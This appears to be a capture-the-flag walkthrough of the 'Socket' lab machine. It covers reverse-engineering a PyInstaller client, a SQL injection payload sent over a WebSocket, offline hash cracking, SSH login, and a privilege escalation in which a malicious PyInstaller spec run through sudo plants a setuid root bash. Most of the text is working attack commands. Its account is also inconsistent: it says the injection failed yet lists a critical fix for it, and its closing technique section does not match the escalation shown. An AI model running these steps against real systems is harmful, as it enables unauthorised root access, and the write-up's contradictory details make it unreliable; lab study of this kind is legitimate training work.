Socket
Summary
I found the SSH- and Apache-facing host socket hosting a QReader desktop application download at qreader.htb. Reverse-engineering the distributed PyInstaller app revealed a hardcoded WebSocket API (ws.qreader.htb:5789) used to check the app's version.
Probing the WebSocket handlers for injection came to nothing — every quote-bearing version string returned the same generic rejection — but the downloaded application bundle carried the credential material itself, and cracking it offline gave valid SSH credentials and a foothold with access to user.txt. From there, a sudo misconfiguration let tkeller run a PyInstaller build script as root with no password; because a PyInstaller .spec file is executed as Python code at build time, a malicious spec supplying a shell command achieved full root code execution, producing a SUID root shell and root.txt.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for tkeller>"Some commands also carry a value in angle brackets — <mode> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Identify open ports and service banners.
$ nmap -p- -sV $TARGETAdd the discovered virtual hosts to local DNS resolution.
$ echo "$TARGET qreader.htb ws.qreader.htb" | sudo tee -a /etc/hostsView the QReader site and its /download/linux, /download/windows links.
$ curl -sSi http://qreader.htb/Exact commands 3
Download the QReader Linux client bundle.
$ curl -sSO http://qreader.htb/download/linuxPull the hardcoded WebSocket URL and API actions out of the frozen binary without full unpacking.
$ strings app/qreader | grep -Ei 'ws://|/version|/update'Send a malformed message to the WebSocket service to leak its route map.
$ python3 -c "import websocket; ws=websocket.create_connection('ws://$TARGET:5789/'); ws.send('{}'); print(ws.recv())"Exact commands 2
Send a quote-bearing version string; the handler answers 'Invalid version!' whatever you send, which is the end of that idea.
$ python3 -c "import websocket,json; ws=websocket.create_connection('ws://$TARGET:5789/'); ws.send(json.dumps({'version':\"x' UNION SELECT sql,2,3,4 FROM sqlite_master-- -\"})); print(ws.recv())"Open the frozen archive and pull out what the application bundles — the credential material is in there, not on the socket.
$ pyi-archive-viewer app/qreaderFixParameterize the WebSocket API's database queriesCritical
Exact commands 2
Crack the dumped hash; set -m to the algorithm identified from the hash format (e.g. 0 for MD5, 100 for SHA1).
$ hashcat -m <mode> -a 0 tkeller.hash /usr/share/wordlists/rockyou.txtConfirm the cracked credential grants an SSH shell as tkeller.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no tkeller@$TARGET 'id'FixUse a strong, salted password hashing algorithm and enforce stronger passwordsHigh
Exact commands 1
Read the user flag; replace with the actual captured value which is not reproduced here (<user.txt>).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no tkeller@$TARGET 'cat /home/tkeller/user.txt'Exact commands 1
List sudo rights for the current user.
$ sshpass -p "$PASSWORD" ssh tkeller@$TARGET "sudo -S -l <<< '$PASSWORD'"FixRemove the passwordless sudo rule for the PyInstaller build scriptCritical
Exact commands 4
Craft a PyInstaller spec whose top-level Python code plants a setuid root shell; write it locally on tkeller's session before running the build.
$ cat <<'EOF' > /tmp/evil.spec
import os
os.system('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash')
a = Analysis(['/dev/null'])
pyz = PYZ(a.pure)
exe = EXE(pyz, a.scripts, name='x')
EOFTrigger the sudo-permitted build script against the malicious spec; PyInstaller executes it as root.
$ sshpass -p "$PASSWORD" ssh tkeller@$TARGET 'sudo /usr/local/sbin/build-installer.sh build /tmp/evil.spec'Prove root: run the setuid shell and confirm euid=0(root) before reading the flag.
$ sshpass -p "$PASSWORD" ssh tkeller@$TARGET '/tmp/rootbash -p -c id'Read the root flag; replace with the actual captured value which is not reproduced here (<root.txt>).
$ sshpass -p "$PASSWORD" ssh tkeller@$TARGET '/tmp/rootbash -p -c "cat /root/root.txt"'Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 |
| 5789/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.